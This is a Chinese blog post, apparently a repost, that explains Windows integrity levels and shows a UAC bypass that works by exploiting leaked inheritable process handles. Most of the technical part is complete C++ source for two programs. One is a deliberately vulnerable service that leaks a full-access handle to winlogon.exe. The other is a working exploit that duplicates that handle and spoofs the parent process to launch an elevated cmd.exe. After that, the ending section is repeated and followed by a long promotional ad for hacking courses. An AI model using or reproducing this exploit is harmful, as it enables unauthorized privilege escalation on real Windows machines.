UAC Bypass:Exploit Leaked Process Handles

在某些情况下,具有高完整性级别或系统完整性级别的进程处理特权进程/线程/令牌,然后产生较低完整性的进程。如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过
UAC。

Mandatory Integrity Levels

强制完整性控制(Mandatory Integrity Levels,MIC)是 Windows Vista
及更高版本的核心安全功能,它根据其完整性级别(Integrity
Levels),提供了一种用于控制对安全对象的访问的机制。此机制是对自主访问控制的补充,并在评估针对安全对象的访问控制列表(DACL)的访问检查之前评估访问。与在同一用户帐户下运行的其他更受信任的上下文相比,此机制的目标是限制可能不太可信的上下文的访问权限。

MIC 使用完整性级别和强制策略来评估访问权限。为安全主体和安全对象分配了确定其保护或访问级别的完整性级别(Integrity
Levels)。例如,具有低完整性级别的主体无法写入具有中等或更高完整性级别的对象,即使该对象的 DACL 允许对该主体进行写访问。

Windows Vista 定义了四个完整性级别(括号中为其 SID):

  • Low(S-1-16-4096):低完整性级别是默认用于与 Internet 交互的级别,只要 Internet Explorer 在其默认状态下运行,与之关联的所有文件和进程都会被分配低完整性级别。低完整性级别非常受限,它无法执行大多数写入操作。

  • Medium(S-1-16-8192):中等完整性级别是大多数安全对象运行的上下文。标准用户被授予中等完整性级别,任何未明确指定具有较低或较高完整性级别的对象都默认为中等完整性级别。

  • High(S-1-16-12288):Administrators 等 RID 500 的管理员被授予高完整性级别,因此 Administrators 能够与分配了中等或低完整性级别的对象进行交互和修改,也可以对具有高完整性级别的其他对象进行操作。

  • System(S-1-16-16384):系统完整性级别专是为系统保留的。Windows 内核和核心服务被授予系统完整性级别。

Windows 确保只有在安全主体的完整性级别等于或高于安全对象指定的请求完整性级别时,进程才能写入、修改或删除对象。

强制完整性控制是使用新的访问控制条目(ACE)类型定义的,以在其安全描述符中表示对象的完整性级别。在 Windows
中,访问控制列表(ACL)用于向用户或组授予访问权限(读取、写入和执行权限等)。当访问令牌初始化时,完整性级别也会被分配给安全主体的访问令牌,用以表示主体的完整性级别。当主体尝试访问安全对象时,安全参考监视器(Security
Reference Monitor)会将主体访问令牌中的完整性级别与对象安全描述符中的完整性级别进行比较。Windows
根据主体的完整性级别是否高于或低于对象,以及访问控制条目(ACE)中的完整性策略标志来限制允许的访问权限。

# Inherits Process Handle

在 Windows
系统中,所有的进程都在相应的完整性级别下运行。如果一个进程想要在另一个进程中执行写入操作,它必须至少具有相同的完整性级别。这意味着具有低完整性级别的进程无法打开具有中等完整性级别的进程具有完全访问权限的句柄。但是,这并不包含句柄泄露的情况。

在某些情况下,具有高完整性级别或系统完整性级别的进程处理特权进程/线程/令牌,然后产生较低完整性的进程。如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过
UAC。

例如,以高完整性级别运行的特权进程通过 OpenProcess()函数打开了一个具有高完整性级别的新进程句柄并且没有关闭,如果特权进程将
OpenProcess()函数的 bInheritHandle被指定为 True,那么这个特权进程的子进程都会继承句柄和它授予的所有访问权限。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

此后,如果同一个特权进程又创建一个具有低完整性子进程,那么我们可以使用这个子进程获取特权进程的打开句柄,然后滥用它来提升权限或绕过 UAC。

Interesting Handles

正如上文所说的,如果低完整性子进程继承了特权进程的进程句柄,如果这些特权进程的句柄足够强大、类型正确并且被子进程继承,我们可以从另一个进程对它们进行复制,然后滥用它们来提升权限或绕过
UAC。在此之前,我们需要对这些特权进程拥有适当的安全访问权限。

OpenProcess()函数的第一个参数用于设置在对象上授予句柄持有者哪些权限,大约有 14 种特定于进程的权限(详情可以参考:[Process
Security and Access Rights](https://docs.microsoft.com/en-
us/windows/win32/procthread/process-security-and-access-rights))。我们现在将忽略掉例如
DELETE、READ_CONTROL 等标准的对象访问权限,保留以下访问权限:

Process Access RightsMeaning
PROCESS_ALL_ACCESS进程对象的所有可能的访问权限
PROCESS_CREATE_PROCESS创建子进程的权限
PROCESS_CREATE_THREAD创建线程的权限
PROCESS_DUP_HANDLE复制进程句柄的权限
PROCESS_VM_*这涵盖了对 VM 写/读/操作的权限

[《Exploiting Leaked Process and Thread
Handles》](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-
thread-handles/)这篇文章很好的讲述了各种权限的利用方式。了解更多细节,请读者自行阅读。

ExploitLeakedHandles

为了对上述问题进行测试,我创建了
ExploitLeakedHandleshttps://github.com/wh0Nsq/ExploitLeakedHandles)项目。该项目分为两个部分,其中
CreateLeakedHandles用来产生上述特权句柄泄露的情况,ExploitLeakedHandles则对泄露的特权句柄进行利用。

CreateLeakedHandles

该部分是一个易受攻击的 Windows 服务,相关代码如下。

#include <iostream>  
#include <windows.h>  
#include <tlhelp32.h>  
​  
​  
int GetProcessByName(PCWSTR name)  
{  
DWORD pid = 0;  
​  
// Create toolhelp snapshot.  
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  
PROCESSENTRY32 process;  
ZeroMemory(&process, sizeof(process));  
process.dwSize = sizeof(process);  
​  
// Walkthrough all processes.  
if (Process32First(snapshot, &process))  
{  
do  
{  
// Compare process.szExeFile based on format of name, i.e., trim file path  
// trim .exe if necessary, etc.  
if (wcscmp(process.szExeFile, name) == 0)  
{  
return process.th32ProcessID;  
}  
} while (Process32Next(snapshot, &process));  
}  
​  
CloseHandle(snapshot);  
​  
return NULL;  
}  
​  
int main()  
{  
HANDLE hToken = NULL;  
HANDLE duplicateTokenHandle = NULL;  
STARTUPINFO si;  
PROCESS_INFORMATION pi;  
ZeroMemory(&si, sizeof(STARTUPINFO));  
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));  
si.cb = sizeof(STARTUPINFO);  
​  
​  
int pidWinlogon = GetProcessByName(L"winlogon.exe");  
if (pidWinlogon == NULL) {  
printf("[-] Can't open Winlogon, run as system");  
}  
​  
HANDLE privilegedProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,  
TRUE,  
pidWinlogon  
);  
​  
int pidExplorer = GetProcessByName(L"explorer.exe");  
if (pidExplorer == NULL) {  
printf("[-] Can't open Explorer");  
}  
​  
// Call OpenProcess(), print return code and error code  
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, pidExplorer);  
if (GetLastError() == NULL)  
printf("[+] OpenProcess() success!\n");  
else  
{  
printf("[-] OpenProcess() Return Code: %i\n", hProcess);  
printf("[-] OpenProcess() Error: %i\n", GetLastError());  
}  
​  
// Call OpenProcessToken(), print return code and error code  
BOOL getToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken);  
if (GetLastError() == NULL)  
printf("[+] OpenProcessToken() success!\n");  
else  
{  
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);  
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());  
}  
​  
// Call DuplicateTokenEx(), print return code and error code  
BOOL duplicateToken = DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);  
if (GetLastError() == NULL)  
printf("[+] DuplicateTokenEx() success!\n");  
else  
{  
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);  
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());  
}  
​  
CloseHandle(hProcess);  
​  
// Call CreateProcessWithTokenW(), print return code and error code  
//BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\notepad.exe", NULL, 0, NULL, NULL, &startupInfo, &pi);  
if (CreateProcessAsUserW(  
duplicateTokenHandle,  
L"C:\\Windows\\System32\\SndVol.exe",  
NULL,  
NULL,  
NULL,  
TRUE,  
0,  
NULL,  
NULL,  
&si,  
&pi  
))  
{  
printf("[+] Process spawned!\n");  
}  
else  
{  
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());  
}  
​  
getchar();  
}

此服务易受攻击的代码位于主函数内部,此功能最开始使用 bInheritHandleTrue的方式,通过
OpenProcess()函数打开特权进程 winlogon.exe的句柄,并且该进程句柄所授予的权限被设为
PROCESS_ALL_ACCESS。由于打开的句柄并未即使关闭,并且在后续的操作中通过复制
explorer.exe进程令牌的方式启动了一个低权限子进程 SndVol.exe

与令牌窃取的攻击手法类似,通过复制这个子进程的句柄,我们能够轻易地得到具有特权进程泄露的句柄,利用该句柄我们可以启动新进程,并将父进程欺骗为该句柄指向的特权进程,进而使新进程能够继承父进程的安全上下文。

ExploitLeakedHandles

为了能够获取到这个特权句柄,并通过这个句柄启动新进程,我在 ExploitLeakedHandles 项目中编写了第二个部分,相关代码如下:

#include <windows.h>  
#include <stdio.h>  
#include <tchar.h>  
#include <unordered_set>  
#include "Native.h"  
#include <shlwapi.h>  
#include <psapi.h>  
#include <tlhelp32.h>  
#include <iostream>  
#include <strsafe.h>  
​  
#pragma comment(lib, "Shlwapi.lib")  
using namespace std;  
​  
typedef enum _INTEGRITY_LEVEL {  
UNTRUSTED_INTEGRITY,  
LOW_INTEGRITY,  
MEDIUM_INTEGRITY,  
HIGH_INTEGRITY,  
SYSTEM_INTEGRITY,  
PPL_INTEGRITY,  
INTEGRITY_UNKNOWN,  
}INTEGRITY_LEVEL, * PINTEGRITY_LEVEL;  
​  
​  
/* This function will get all process handles in the system. */   
​  
PSYSTEM_HANDLE_INFORMATION_EX QueryAllSystemHandlers()  
{  
NTSTATUS queryStatus;  
PSYSTEM_HANDLE_INFORMATION_EX handleInfoEx;  
ULONG handleInfoSizeEx = sizeof(SYSTEM_HANDLE_INFORMATION_EX);  
ULONG returnLength;  
​  
handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(handleInfoSizeEx);  
​  
while ((queryStatus = NtQuerySystemInformation(  
SystemExtendedHandleInformation,  
handleInfoEx,  
handleInfoSizeEx,  
&returnLength  
)) == STATUS_INFO_LENGTH_MISMATCH)  
{  
handleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(handleInfoEx, handleInfoSizeEx *= 2);  
if (handleInfoEx == NULL)  
{  
break;  
}  
}  
​  
if (!NT_SUCCESS(queryStatus) || handleInfoEx == NULL)  
{  
printf("[-] NtQuerySystemInformation() failed.\n");  
free(handleInfoEx);  
return NULL;  
}  
  
printf("[+] Query all system handles information succeeded.\n");  
​  
return handleInfoEx;  
}  
​  
​  
/* This function will get the parent process id of the specified process. */  
​  
ULONG_PTR GetParentPid(ULONG_PTR UniqueProcessId)   
{  
NTSTATUS queryStatus;  
PPROCESS_BASIC_INFORMATION processInfo;  
ULONG processInfoSize = sizeof(PROCESS_BASIC_INFORMATION);  
ULONG returnLength;  
ULONG_PTR ppid;  
​  
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);  
​  
if (hProcess == NULL) {  
return FALSE;  
}  
​  
processInfo = (PPROCESS_BASIC_INFORMATION)malloc(processInfoSize);  
​  
while ((queryStatus = NtQueryInformationProcess(  
hProcess,  
ProcessBasicInformation,  
processInfo,  
processInfoSize,  
&returnLength  
)) == STATUS_INFO_LENGTH_MISMATCH)  
{  
processInfo = (PPROCESS_BASIC_INFORMATION)realloc(processInfo, processInfoSize *= 2);  
if (processInfo == NULL)  
{  
break;  
}  
}  
​  
if (!NT_SUCCESS(queryStatus) || processInfo == NULL)  
{  
printf("[-] NtQueryInformationProcess() failed.\n");  
free(processInfo);  
return NULL;  
}  
ppid = (ULONG_PTR)processInfo->InheritedFromUniqueProcessId;  
free(processInfo);  
CloseHandle(hProcess);  
​  
return ppid;  
}  
​  
​  
/* This function will get the specified process integrity level. */  
​  
BOOL GetProcessIntegrityLevel(ULONG_PTR UniqueProcessId, PINTEGRITY_LEVEL integrityCode)   
{  
PTOKEN_MANDATORY_LABEL tokenInfo;  
DWORD tokenInfoSize = sizeof(TOKEN_MANDATORY_LABEL);  
DWORD returnLength;  
​  
HANDLE hToken = NULL;  
  
// Setting default Handle type name  
*integrityCode = INTEGRITY_UNKNOWN;  
​  
SetLastError(NULL);  
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, UniqueProcessId);  
​  
if (hProcess == NULL) {  
return FALSE;  
}  
​  
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {  
CloseHandle(hProcess);  
return FALSE;  
}  
​  
tokenInfo = (PTOKEN_MANDATORY_LABEL)malloc(tokenInfoSize);  
​  
// Get token information, set tokenInfo.  
if (GetTokenInformation(  
hToken,  
TokenIntegrityLevel,  
tokenInfo,  
tokenInfoSize,  
&returnLength  
) || GetLastError() == ERROR_INSUFFICIENT_BUFFER)  
{  
tokenInfo = (PTOKEN_MANDATORY_LABEL)realloc(tokenInfo, tokenInfoSize *= 2);  
if (!GetTokenInformation(  
hToken,  
TokenIntegrityLevel,  
tokenInfo,  
tokenInfoSize,  
&returnLength  
))  
{  
CloseHandle(hProcess);  
CloseHandle(hToken);  
free(tokenInfo);  
return FALSE;  
}  
}  
​  
DWORD integrityLevel = *GetSidSubAuthority(  
tokenInfo->Label.Sid,  
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(tokenInfo->Label.Sid) - 1)  
);  
​  
CloseHandle(hProcess);  
CloseHandle(hToken);  
free(tokenInfo);  
​  
if (integrityLevel < SECURITY_MANDATORY_LOW_RID) {  
*integrityCode = UNTRUSTED_INTEGRITY;  
return TRUE;  
}  
if (integrityLevel < SECURITY_MANDATORY_MEDIUM_RID) {  
*integrityCode = LOW_INTEGRITY;  
return TRUE;  
}  
​  
if (integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&  
integrityLevel < SECURITY_MANDATORY_HIGH_RID) {  
*integrityCode = MEDIUM_INTEGRITY;  
return TRUE;  
}  
​  
if (integrityLevel < SECURITY_MANDATORY_SYSTEM_RID) {  
*integrityCode = HIGH_INTEGRITY;  
return TRUE;  
}  
​  
if (integrityLevel < SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {  
*integrityCode = SYSTEM_INTEGRITY;  
return TRUE;  
}  
​  
if (integrityLevel >= SECURITY_MANDATORY_PROTECTED_PROCESS_RID) {  
*integrityCode = PPL_INTEGRITY;  
return TRUE;  
}  
​  
return FALSE;  
}  
​  
​  
/* This function is used to duplicate the specified process handle. */  
​  
HANDLE DuplicateProcessHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo)  
{  
HANDLE hProcess;  
HANDLE duplicateProcessHandle = NULL;  
​  
// We're going to duplicate the handle so we need first the process handle.  
if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.UniqueProcessId)))  
{  
return NULL;  
}  
​  
// Duplicate the handle so we can query it.  
if (!NT_SUCCESS(NtDuplicateObject(  
hProcess,  
(HANDLE)handleInfo.HandleValue,  
GetCurrentProcess(),  
&duplicateProcessHandle,  
0,  
0,  
DUPLICATE_SAME_ACCESS  
)))  
{  
CloseHandle(hProcess);  
return NULL;  
}  
​  
CloseHandle(hProcess);  
return duplicateProcessHandle;  
}  
​  
​  
/*   
* This function will spoof the parent process with PROCESS_ALL_ACCESS permission   
* and start a new process in the security context of the parent process.   
*/  
​  
BOOL Exploit_Process_Create_Process(HANDLE parentProcessHandle, LPTSTR lpCommandLine)  
{  
STARTUPINFOEX si;  
PROCESS_INFORMATION pi;  
SIZE_T attributeSize;  
ZeroMemory(&si, sizeof(STARTUPINFOEX));  
​  
​  
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);  
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);  
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);  
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);  
si.StartupInfo.cb = sizeof(STARTUPINFOEX);  
​  
if (!CreateProcess(  
NULL,   
lpCommandLine,   
NULL,   
NULL,   
FALSE,  
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,  
NULL,   
NULL,   
&si.StartupInfo,   
&pi)  
)  
{  
printf("[-] CreateProcess() Failed (%d).\n", GetLastError());  
return FALSE;  
}  
else {  
printf("[+] Created process with PID %d.\n", pi.dwProcessId);  
return TRUE;  
}  
}  
​  
​  
​  
void Usage(TCHAR* argv)  
{  
printf("\nUsage: %S -c [Command]\n", argv);  
}  
​  
​  
​  
int _tmain(int argc, TCHAR* argv[])  
{  
LPTSTR lpCommandLine = (LPTSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(TCHAR));  
  
if (!(argc < 3) && (argv[1][0] == '-'))  
{  
switch (argv[1][1])  
{  
case 'c':  
StringCchPrintf(lpCommandLine, MAX_PATH, argv[2]);  
break;  
case 'h':  
Usage(argv[0]);  
exit(0);  
break;  
​  
default:  
Usage(argv[0]);  
exit(0);  
}  
}  
else  
{  
Usage(argv[0]);  
exit(0);  
}  
  
auto systemHandlesList = QueryAllSystemHandlers();  
​  
printf("[+] Filtering out all interesting handles.\n");  
​  
for (int i = 0; i < systemHandlesList->NumberOfHandles; i++)  
{                                                               
auto handleInfo = systemHandlesList->Handles[i];  
​  
ULONG_PTR parentUniqueProcessId = GetParentPid(handleInfo.UniqueProcessId);  
INTEGRITY_LEVEL processIntegrity;  
INTEGRITY_LEVEL parentProcessIntegrity;  
​  
// We are only interested in the process handle.  
if (handleInfo.ObjectTypeIndex != 0x07)  
{  
continue;  
}  
​  
// Filter out all interesting handles.  
if (!(handleInfo.GrantedAccess == PROCESS_ALL_ACCESS ||  
handleInfo.GrantedAccess & PROCESS_CREATE_PROCESS ||  
handleInfo.GrantedAccess & PROCESS_CREATE_THREAD ||  
handleInfo.GrantedAccess & PROCESS_DUP_HANDLE ||  
handleInfo.GrantedAccess & PROCESS_VM_WRITE))  
{  
continue;  
}  
​  
// We are only interested in the nherited handle.  
if (!(handleInfo.HandleAttributes & HANDLE_INHERIT))   
{  
continue;  
}  
​  
// Get Child Process Integrity.  
GetProcessIntegrityLevel(handleInfo.UniqueProcessId, &processIntegrity);  
// Get Parent Process Integrity.  
GetProcessIntegrityLevel(parentUniqueProcessId, &parentProcessIntegrity);  
// We are only interested in processes whose integrity level is less than its parent process, and less than or equal to medium level  
if (processIntegrity < parentProcessIntegrity && processIntegrity <= MEDIUM_INTEGRITY)  
{  
HANDLE parentProcessHandle = DuplicateProcessHandle(handleInfo);  
  
if (Exploit_Process_Create_Process(parentProcessHandle, lpCommandLine))  
{  
printf("[+] Exploit Success.\n");  
}  
  
CloseHandle(parentProcessHandle);  
}  
}  
}

在上述代码中,我们首先通过 QueryAllSystemHandlers()函数获取系统中所有的句柄,然后过滤出所有符合以下条件的句柄:

  • 该句柄是一个进程句柄。

  • 该句柄授予句柄持有者特殊权限,即上文中我们提到的 Interesting Handles。

  • 该句柄所指向的进程的完整性级别小于其父进程,并且小于中等于中等完整性级别。

过滤出符合上述条件的句柄后,我们通过 DuplicateProcessHandle()函数获取该句柄的副本并传入
Exploit_Process_Create_Process()函数,使用该句柄指向的进程作为父进程来创建新进程。

Example

如下图所示,运行 ExploitLeakedHandles.exe 后,成功获取获取到了一个绕过 UAC 的命令行:

ExploitLeakedHandles.exe -c cmd.exe

image-20220502134513911.png

Ending…

我的博客:https://whoamianony.top/

参考文献:

<http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-
handles/>

https://aptw.tf/2022/02/10/leaked-handle-hunting.html

<https://book.hacktricks.xyz/windows/windows-local-privilege-
escalation/leaked-handle-exploitation>

柄后,我们通过 DuplicateProcessHandle()函数获取该句柄的副本并传入
Exploit_Process_Create_Process()函数,使用该句柄指向的进程作为父进程来创建新进程。

Example

如下图所示,运行 ExploitLeakedHandles.exe 后,成功获取获取到了一个绕过 UAC 的命令行:

ExploitLeakedHandles.exe -c cmd.exe

[外链图片转存中…(img-yV34SHBy-1692776561001)]

Ending…

我的博客:https://whoamianony.top/

参考文献:

<http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-
handles/>

https://aptw.tf/2022/02/10/leaked-handle-hunting.html

<https://book.hacktricks.xyz/windows/windows-local-privilege-
escalation/leaked-handle-exploitation>

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8rn3FTwK-1692776561002)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230809162658551.png)]

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2VUfS2KQ-1692776561002)(C:\Users\Administrator\Desktop\网安思维导图\享学首创年薪40W+网络安全工程师 青铜到王者技术成长路线V4.0.png)]

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v8kvFIwb-1692776561002)(C:\Users\Administrator\Desktop\网安资料截图\视频课件.jpeg)]

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值